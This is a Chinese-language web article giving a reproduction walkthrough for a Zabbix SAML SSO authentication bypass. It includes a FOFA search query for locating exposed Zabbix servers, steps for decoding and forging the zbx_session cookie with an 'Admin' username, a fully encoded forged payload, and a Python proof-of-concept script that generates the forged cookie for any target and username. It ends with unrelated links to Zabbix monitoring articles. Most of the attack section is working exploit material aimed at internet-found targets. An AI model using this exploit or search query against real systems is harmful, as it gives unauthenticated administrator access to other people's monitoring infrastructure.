Zabbix SAML SSO 登錄繞過漏洞的操作流程
一、簡介
zabbix是一個基于WEB界面的提供分布式系統(tǒng)監(jiān)視以及網(wǎng)絡(luò)監(jiān)視功能的企業(yè)級的開源解決方案。zabbix能監(jiān)視各種網(wǎng)絡(luò)參數(shù),保證服務(wù)器系統(tǒng)的安全運營;并提供靈活的通知機制以讓系統(tǒng)管理員快速定位/解決存在的各種問題。
zabbix server可以通過SNMP,zabbix agent,ping,端口監(jiān)視等方法提供對遠程服務(wù)器/網(wǎng)絡(luò)狀態(tài)的監(jiān)視,數(shù)據(jù)收集等功能,它可以運行在Linux,Solaris,HP-UX,AIX,F(xiàn)ree BSD,Open BSD,OS X等平臺上。
該漏洞源于在啟用 saml SSO 身份驗證(非默認)的情況下,未身份驗證的攻擊者可以修改會話數(shù)據(jù),成功繞過前臺進入后臺,因為存儲在會話中的用戶登錄未經(jīng)過驗證。
漏洞的限制條件:需要啟用 SAML 身份驗證,并且攻擊者必須知道 Zabbix 用戶的用戶名。
二、FOFA語法
app=“ZABBIX-監(jiān)控系統(tǒng)” && body=“SAML”
三、復(fù)現(xiàn)流程
1、通過fofa語法搜索zabbix資產(chǎn)訪問首頁獲取set-cookie中zbx_session參數(shù)的值
2、通過Url解碼和Base64解碼獲得zbx_session參數(shù)Json格式數(shù)據(jù)
{"sessionid":"67f71355eb96121f384ea0571290faca","sign":"Uyq2BXQfe5Iug4UBpucwq3PXAmVh0ctpR4pvEfzg\/OWe7TKhmAQdqyu5iUmtWzQR+0m33eQBHnk1VV+IO0icAQ=="}
3、通過在Json中添加saml_data和username_attribute參數(shù)后重新Base64編碼和Url編碼構(gòu)造Payload
{"saml_data":{"username_attribute":"Admin"},"sessionid":"67f71355eb96121f384ea0571290faca","sign":"Uyq2BXQfe5Iug4UBpucwq3PXAmVh0ctpR4pvEfzg\/OWe7TKhmAQdqyu5iUmtWzQR+0m33eQBHnk1VV+IO0icAQ=="}
4、把構(gòu)造好的payload進行base64編碼和url編碼
%65%79%4a%7a%59%57%31%73%58%32%52%68%64%47%45%69%4f%6e%73%69%64%58%4e%6c%63%6d%35%68%62%57%56%66%59%58%52%30%63%6d%6c%69%64%58%52%6c%49%6a%6f%69%51%57%52%74%61%57%34%69%66%53%77%69%63%32%56%7a%63%32%6c%76%62%6d%6c%6b%49%6a%6f%69%4e%6a%64%6d%4e%7a%45%7a%4e%54%56%6c%59%6a%6b%32%4d%54%49%78%5a%6a%4d%34%4e%47%56%68%4d%44%55%33%4d%54%49%35%4d%47%5a%68%59%32%45%69%4c%43%4a%7a%61%57%64%75%49%6a%6f%69%56%58%6c%78%4d%6b%4a%59%55%57%5a%6c%4e%55%6c%31%5a%7a%52%56%51%6e%42%31%59%33%64%78%4d%31%42%59%51%57%31%57%61%44%42%6a%64%48%42%53%4e%48%42%32%52%57%5a%36%5a%31%77%76%54%31%64%6c%4e%31%52%4c%61%47%31%42%55%57%52%78%65%58%55%31%61%56%56%74%64%46%64%36%55%56%49%72%4d%47%30%7a%4d%32%56%52%51%6b%68%75%61%7a%46%57%56%69%74%4a%54%7a%42%70%59%30%46%52%50%54%30%69%66%51%3d%3d
5、請求index_sso.php,在http請求頭中構(gòu)造payload,將zbx_session的值替換為url編碼后的payload
6、成功登錄后臺
可利用poc直接獲取構(gòu)造后的payload
poc:
import requests import re import urllib.parse import base64 import json import sys def exp(target, username): resp = requests.get(url=target, verify=False) cookie = resp.headers.get("Set-Cookie") zbx_session = re.findall(r"zbx_session=(.*?); ", cookie) url_decode_data = urllib.parse.unquote(zbx_session[0], encoding='utf-8') base64_decode_data = base64.b64decode(url_decode_data) decode_to_str = str(base64_decode_data, encoding='utf-8') to_json = json.loads(decode_to_str) tmp_ojb = dict(saml_data=dict(username_attribute=username), sessionid=to_json["sessionid"], sign=to_json["sign"]) payloadJson = json.dumps(tmp_ojb) print("decode_payload:", payloadJson) payload = urllib.parse.quote(base64.b64encode(payloadJson.encode())) print("zbx_signed_session:", payload) if __name__ == "__main__": if len(sys.argv) != 3: print("argv error") exit(0) target = sys.argv[1] username = sys.argv[2] exp(target, username)
到此這篇關(guān)于Zabbix SAML SSO 登錄繞過漏洞的文章就介紹到這了,更多相關(guān)Zabbix 登錄繞過漏洞內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
Zabbix實現(xiàn)批量監(jiān)控端口狀態(tài)的方法
在監(jiān)控生產(chǎn)環(huán)境的服務(wù)的時候,通常需要對多個端口進行監(jiān)控,如果我們手動一個一個的添加,這將是一件很麻煩的事情,為了減少這樣的情況,我們采用批量添加監(jiān)控端口的方法,下面小編給大家?guī)砹藌abbix批量監(jiān)控端口狀態(tài)的方法,一起看看吧2018-01-01利用zabbix監(jiān)控ogg進程(Windows平臺)
這篇文章主要介紹了利用zabbix監(jiān)控ogg進程(Windows平臺)的步驟,幫助大家監(jiān)控windows平臺下的ogg程序,感興趣的朋友可以參考下2020-12-12使用zabbix監(jiān)控oracle數(shù)據(jù)庫的方法詳解
這篇文章主要介紹了使用zabbix監(jiān)控oracle數(shù)據(jù)庫的方法,本文給大家介紹的非常詳細,對大家的學(xué)習(xí)或工作具有一定的參考借鑒價值,需要的朋友可以參考下2021-03-03zabbix監(jiān)控Linux系統(tǒng)服務(wù)的流程
這篇文章主要介紹了zabbix監(jiān)控Linux系統(tǒng)服務(wù)的流程,非常不錯,具有一定的參考借鑒價值,需要的朋友可以參考下2019-10-10